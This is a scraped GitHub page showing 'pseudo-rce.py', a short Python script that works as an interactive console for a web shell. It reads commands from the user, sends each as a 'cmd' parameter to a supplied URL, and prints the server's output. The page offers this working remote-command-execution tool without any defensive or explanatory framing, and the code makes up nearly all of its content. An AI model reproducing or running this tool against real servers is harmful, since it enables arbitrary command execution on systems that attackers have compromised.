-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpseudo-rce.py
More file actions
52 lines (30 loc) · 1021 Bytes
/
pseudo-rce.py
File metadata and controls
52 lines (30 loc) · 1021 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import argparse
import os
import urllib.parse
ROJO = "\033[31m"
VERDE = "\033[32m"
AZUL = "\033[34m"
RESET = "\033[0m"
def clear():
os.system('clear')
def send_command(path):
while True:
command = urllib.parse.quote(input(f"{ROJO}RCE{RESET} {AZUL}${RESET}{VERDE}>>{RESET} "))
pwned = f'{path}?cmd={command}'
try:
response = requests.get(pwned)
if response.status_code == 200 and len(response.text)>= 1:
clear()
print(response.text)
else:
print(f"Estatus code error: {response.status_code}, Or there's no output")
except KeyboardInterrupt:
print(f"exiting ...")
def main():
parser = argparse.ArgumentParser(description="RCE Pseudo console")
parser.add_argument('-p','--path',type=str,required=True,help='Url Path of the file')
args = parser.parse_args()
send_command(args.path)
if __name__ == "__main__":
main()